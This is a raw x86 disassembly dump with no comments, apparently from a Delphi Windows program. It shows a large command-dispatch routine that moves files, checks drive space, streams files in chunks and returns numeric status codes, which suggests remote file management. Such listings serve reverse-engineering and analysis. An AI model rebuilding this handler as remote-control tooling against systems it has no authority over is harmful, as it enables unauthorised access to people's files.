mov ecx, dword [ebp - 0xa60]
lea eax, [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0x3c]
call fcn.0046dd44
test al, al
je 0x4e59f8
mov eax, dword [ebp - 0x3c]
call fcn.004f89c8
mov edx, 2
mov eax, dword [ebp - 0x3c]
call fcn.004da8ac
jmp 0x4e5ab9
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed898
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edae4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee11c
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4e5aa0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5aa7
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e59aa
cmp dword [0x53fb68], 0
je 0x4e5ae5
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549910]
call fcn.004b0db0
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a7d.10
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov byte [0x53fb74], 0
ret
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xa64]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x3c]
mov edx, 1
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x40]
mov edx, 2
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004db5b4
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549910], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5c3b
mov al, byte [0x549910]
call fcn.0046b940
test al, al
je 0x4e5c3b
mov al, byte [0x549910]
call fcn.004b0a30
test eax, eax
jne 0x4e5c3b
lea edx, [ebp - 0xa68]
mov al, byte [0x549910]
call fcn.004b0c2c
mov edx, dword [ebp - 0xa68]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa6c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa6c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5c45
mov eax, 0x53fb68
call fcn.004045b8
lea eax, [ebp - 0xa70]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa70]
call fcn.00404a84
push eax
lea eax, [ebp - 0xa74]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa74]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x53fb68], 0
je 0x4e5cad
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549910]
call fcn.004b0db0
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xa78]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xa78]
mov eax, 0x5498fc
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x549900], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54990c], eax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xff
mov byte [0x549908], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x300
mov dword [0x549904], eax
mov eax, 0x5498fc
call fcn.004db5b4
cmp dword [0x549820], 0
je 0x4e5d70
lea edx, [ebp - 0xa7c]
mov eax, dword [0x5498fc]
call fcn.00408e1c
mov edx, dword [ebp - 0xa7c]
mov eax, dword [0x549820]
call fcn.00404bc8
dec eax
jne 0x4e5d70
mov byte [0x549910], 1
jmp 0x4e5d95
mov eax, dword [0x5498fc]
cmp byte [eax + 1], 0x3a
jne 0x4e5d8e
mov eax, dword [0x5498fc]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549910], al
jmp 0x4e5d95
mov byte [0x549910], 0
cmp byte [0x549910], 0x41
jb 0x4e5dff
mov al, byte [0x549910]
call fcn.004b0a30
test eax, eax
jne 0x4e5dff
lea edx, [ebp - 0xa80]
mov al, byte [0x549910]
call fcn.004b0c2c
mov edx, dword [ebp - 0xa80]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa84]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [0x5498fc]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa84]
mov eax, 0x5498fc
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5e09
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [0x5498fc]
call fcn.0040488c
cmp eax, 3
jle case.0x4e0a7d.10
mov eax, dword [0x5498fc]
call fcn.00462e48
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x54991c], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549918], eax
mov eax, dword [ebp - 0x2c]
lea ebx, [eax + 0x20]
mov eax, dword [ebx + 4]
mov dword [0x549924], eax
mov eax, dword [ebx + 8]
mov dword [0x549928], eax
mov eax, dword [ebx]
mov dword [0x549920], eax
mov eax, dword [ebx + 0xc]
mov dword [0x54992c], eax
cmp byte [0x549910], 1
jne 0x4e5ea0
mov eax, dword [0x549820]
call fcn.00471cb8
sub eax, dword [0x549924]
sbb edx, dword [0x549928]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5f95
cmp dword [0x53fb68], 0
je 0x4e5f49
cmp dword [0x549928], 0
jne 0x4e5ec4
cmp dword [0x549924], 0x6400000
jae 0x4e5f09
jmp 0x4e5ec6
jge 0x4e5f09
mov al, byte [0x549910]
call fcn.004b0f20
push edx
push eax
push 0
push 3
mov eax, dword [0x549924]
mov edx, dword [0x549928]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x12c00000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5f95
mov al, byte [0x549910]
call fcn.004b0f20
push edx
push eax
push 0
push 2
mov eax, dword [0x549924]
mov edx, dword [0x549928]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x1f400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5f95
cmp byte [0x549910], 0x41
jb 0x4e5f81
mov al, byte [0x549910]
sub al, 0x41
inc eax
call fcn.00409c30
sub eax, dword [0x549924]
sbb edx, dword [0x549928]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5f95
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4e5fa9
cmp dword [ebp - 0xa8], 0
jae 0x4e5fd4
jmp 0x4e5fab
jge 0x4e5fd4
xor eax, eax
mov dword [0x53fb88], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x549918]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov al, byte [0x54991c]
sub al, 2
jb 0x4e5fe4
je 0x4e6019
jmp case.0x4e0a7d.10
mov byte [0x549930], 0
mov dl, 1
mov eax, dword [0x470804]
call fcn.0040377c
mov dword [0x53fb88], eax
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov dword [0x549938], eax
xor eax, eax
mov dword [0x549934], eax
jmp case.0x4e0a7d.10
mov byte [0x549930], 0
lea eax, [ebp - 0xa88]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa88]
mov eax, 0x549914
mov edx, dword [0x5498fc]
call fcn.004048d8
mov eax, dword [0x549914]
call fcn.004f89c8
lea eax, [ebp - 0xa8c]
mov edx, dword [0x549914]
call fcn.00404e90
mov eax, dword [ebp - 0xa8c]
mov dx, 0xffff
call fcn.0046e0d4
mov dword [0x53fb88], eax
cmp dword [0x53fb88], 0
jne 0x4e60a7
push 0
push 0
mov eax, dword [0x549914]
push eax
push 0
push 0
mov ecx, dword [0x549918]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
xor eax, eax
push ebp
push 0x4e60d5
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x549928]
push dword [0x549924]
mov eax, dword [0x53fb88]
call fcn.00463298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e60fa
cmp dword [0x53fb88], 0
je 0x4e6081
push 0
push 0
mov eax, dword [0x53fb88]
call fcn.00463238
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov dword [0x549938], eax
xor eax, eax
mov dword [0x549934], eax
jmp case.0x4e0a7d.10
call fcn.004dfb64
jmp case.0x4e0a7d.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd1
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549834], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
call fcn.00405944
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
cmp dword [0x53fa8c], 0
jne 0x4e61a5
cmp dword [0x53fa88], 0
jbe case.0x4e0a7d.10
jmp 0x4e61ab
jle case.0x4e0a7d.10
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
add eax, dword [0x53fa88]
adc edx, dword [0x53fa8c]
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549834], eax
push 0
push 0x3e8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
cmp dword [0x53fa8c], 0
jne 0x4e6216
cmp dword [0x53fa88], 0
jbe case.0x4e0a7d.10
jmp 0x4e621c
jle case.0x4e0a7d.10
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
add eax, dword [0x53fa88]
adc edx, dword [0x53fa8c]
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54967c]
cmp eax, edx
jne case.0x4e0a7d.10
mov eax, 0x549844
mov dl, 1
call fcn.004f7b90
test al, al
je case.0x4e0a7d.10
mov eax, dword [0x549844]
call fcn.00404eb0
cmp eax, dword [0x549848]
jle 0x4e62aa
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4e0a7d.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
mov eax, dword [0x549844]
call fcn.00404eb0
test eax, eax
jne 0x4e62e2
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4e0a7d.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xea
jne 0x4e6315
movzx eax, word [0x54967c]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x549844]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004ddd00
jmp case.0x4e0a7d.10
movzx eax, word [0x54967c]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x549844]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004ddd00
jmp case.0x4e0a7d.10
movzx eax, word [0x54967c]
mov edx, dword [ebp - 0x2c]
cmp eax, dword [edx + 0x10]
jne case.0x4e0a7d.10
cmp byte [0x53faa0], 0
je case.0x4e0a7d.10
movzx ecx, word [0x54967c]
mov edx, 0x13
mov eax, dword [0x549858]
call fcn.004dde78
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54967c]
cmp eax, edx
jne case.0x4e0a7d.10
mov eax, dword [0x54984c]
call fcn.004196f0
cmp edx, 0
jne 0x4e63a9
cmp eax, 0
jbe case.0x4e0a7d.10
jmp 0x4e63af
jle case.0x4e0a7d.10
movzx ecx, word [0x54967c]
mov edx, 0x14
mov eax, dword [0x54984c]
call fcn.004dde78
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54967c]
cmp eax, edx
jne case.0x4e0a7d.10
lea edx, [ebp - 0xd0]
mov eax, 0x28
call fcn.004ac138
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 0
jne 0x4e641b
lea eax, [ebp - 0xa90]
mov edx, dword [ebp - 0xd0]
call fcn.00404e90
mov eax, dword [ebp - 0xa90]
mov dl, 1
call fcn.004f7c24
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 2
jne case.0x4e0a7d.10
lea eax, [ebp - 0xa94]
mov edx, dword [ebp - 0xd0]
call fcn.00404e90
mov eax, dword [ebp - 0xa94]
mov dl, 1
call fcn.004f7cb4
jmp case.0x4e0a7d.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov eax, esi
call fcn.004b54e8
lea edx, [ebp - 0xe4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0
push 0
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc8
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
mov eax, esi
call fcn.004037ac
jmp case.0x4e0a7d.10
cmp dword [0x53fb88], 0
jne 0x4e6500
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54993c]
jne case.0x4e0a7d.10
cmp byte [0x549930], 0
je case.0x4e0a7d.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x54993c]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x549918]
jne case.0x4e0a7d.10
push 0
push 0x400
mov eax, dword [0x549924]
mov edx, dword [0x549928]
add eax, 0x3ff
adc edx, 0
call fcn.00405968
mov ebx, eax
cmp ebx, dword [0x549934]
jbe 0x4e655a
mov edx, dword [0x549934]
mov eax, dword [0x549938]
call fcn.00416d28
inc dword [0x549934]
cmp ebx, dword [0x549934]
ja 0x4e653c
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
lea esi, [eax + 0x20]
mov eax, dword [0x549938]
mov ebx, dword [eax + 8]
dec ebx
xor eax, eax
mov dword [ebp - 0x50], eax
test ebx, ebx
jl 0x4e6599
mov edx, ebx
mov eax, dword [0x549938]
call fcn.00416e84
mov dword [esi], eax
add esi, 4
dec ebx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x140
jne 0x4e6577
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xfe
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
sub esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
sub eax, 0x20
test eax, eax
jns 0x4e65c7
add eax, 3
sar eax, 2
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x549918]
mov dword [eax + 0x14], edx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd608
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53fa90], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x53fa94], eax
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0x3c]
call fcn.004db5b4
mov eax, dword [ebp - 0x3c]
call fcn.0046dd44
test al, al
je case.0x4e0a7d.10
mov byte [ebp - 0xc5], 0
lea eax, [ebp - 0xa98]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xa98]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xc4]
call fcn.0046eae0
lea edx, [ebp - 0xc0]
mov eax, 1
call fcn.004ab8a8
mov al, byte [0x4e7ccc]
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xaa0]
mov eax, dword [0x540f14]
mov eax, dword [eax]
call fcn.00409b0c
mov edx, dword [ebp - 0xaa0]
lea eax, [ebp - 0xa9c]
call fcn.00404e90
mov eax, dword [ebp - 0xa9c]
push eax
lea eax, [ebp - 0xaa4]
mov edx, dword [ebp - 0xc0]
call fcn.00404e90
mov edx, dword [ebp - 0xaa4]
mov eax, dword [ebp - 0xb8]
pop ecx
call fcn.004722fc
mov eax, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb8]
call fcn.00404fc8
je case.0x4e0a7d.10
lea eax, [ebp - 0xaa8]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xc4]
call fcn.0046ebbc
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
mov byte [0x53f3e4], 1
call fcn.004dfda4
xor edx, edx
mov eax, 4
call fcn.004dfdc4
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5495a8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5495ac], eax
mov eax, dword [0x5495a8]
cdq
push edx
push eax
lea eax, [ebp - 0xaac]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaac]
mov edx, 0x4e7cd8
call fcn.0046d954
mov eax, dword [0x5495ac]
cdq
push edx
push eax
lea eax, [ebp - 0xab0]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xab0]
mov edx, 0x4e7cec
call fcn.0046d954
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5495b0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5495b4], eax
mov eax, dword [0x5495b0]
cdq
push edx
push eax
lea eax, [ebp - 0xab4]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xab4]
mov edx, 0x4e7d00
call fcn.0046d954
mov eax, dword [0x5495b4]
cdq
push edx
push eax
lea eax, [ebp - 0xab8]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xab8]
mov edx, 0x4e7d14
call fcn.0046d954
jmp case.0x4e0a7d.10
mov al, byte [0x4e7b8c]
push eax
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0xabc]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0xabc]
mov ecx, 0x4e7d28
mov edx, 0x4e7d34
call fcn.0040d9ec
lea eax, [ebp - 0xe4]
call fcn.00404adc
mov dword [ebp - 0xf8], eax
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea eax, [ebp - 0xe8]
call fcn.004db5b4
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea eax, [ebp - 0xac0]
mov edx, dword [ebp - 0xf0]
call fcn.00404e90
mov eax, dword [ebp - 0xac0]
push eax
lea eax, [ebp - 0xac4]
mov edx, dword [ebp - 0xf4]
call fcn.00404e90
mov eax, dword [ebp - 0xac4]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
lea eax, [ebp - 0xac8]
mov edx, dword [ebp - 0xec]
call fcn.00404e90
mov ecx, dword [ebp - 0xac8]
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0xe8]
call fcn.004e8440
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xfc
jne 0x4e6943
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
push 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x10]
and ecx, 0xffff
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe4]
call fcn.004e7eb0
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0xe4]
call fcn.004db5b4
mov eax, dword [ebp - 0xe4]
call fcn.0046dd44
test al, al
je case.0x4e0a7d.10
lea eax, [ebp - 0xacc]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xacc]
xor ecx, ecx
mov edx, 0x4e7d44
call fcn.0046dba4
mov dl, 1
mov eax, dword [ebp - 0xe4]
call fcn.004eed08
jmp case.0x4e0a7d.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf1
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov byte [0x5498f0], 0
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5498f4], eax
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
call fcn.004030b8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
inc eax
call fcn.004d91e4
mov eax, 3
call fcn.004030b8
mov dword [ebp - 0x50], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x50]
call fcn.004df4a0
cmp dword [ebp - 0xe4], 0
jne 0x4e6a88
lea eax, [ebp - 0xe4]
mov edx, 0x4e7d54
call fcn.00404650
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
call fcn.0040b13c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe4]
mov eax, 0x4e7d64
call fcn.0040bd68
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
lea eax, [ebp - 0xad0]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov edx, dword [ebp - 0xad0]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe8]
xor edx, edx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 1
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 2
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xe8]
call fcn.004db5b4
lea eax, [ebp - 0xadc]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov eax, dword [ebp - 0xadc]
lea ecx, [ebp - 0xad8]
lea edx, [ebp - 0xfc]
call fcn.0046eae0
mov edx, dword [ebp - 0xad8]
lea eax, [ebp - 0xad4]
call fcn.00404854
mov edx, dword [ebp - 0xad4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xfc], 0xfffffffd
jne 0x4e6be0
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 1
jne 0x4e6be0
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp 0x4e6cba
cmp dword [ebp - 0xfc], 0xfffffffe
jne 0x4e6c06
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp 0x4e6cba
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dl, byte [eax + 0xc]
mov ecx, dword [ebp - 0xec]
mov eax, esi
call fcn.004e0408
mov eax, dword [ebp - 0xe8]
call fcn.004f89c8
lea edx, [ebp - 0xae4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0xae4]
lea eax, [ebp - 0xae0]
call fcn.00404e90
mov eax, dword [ebp - 0xae0]
push eax
lea eax, [ebp - 0xae8]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov eax, dword [ebp - 0xae8]
mov edx, dword [ebp - 0xfc]
pop ecx
call fcn.0046ebbc
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x4e6ca2
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp 0x4e6cba
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
mov eax, esi
call fcn.004037ac
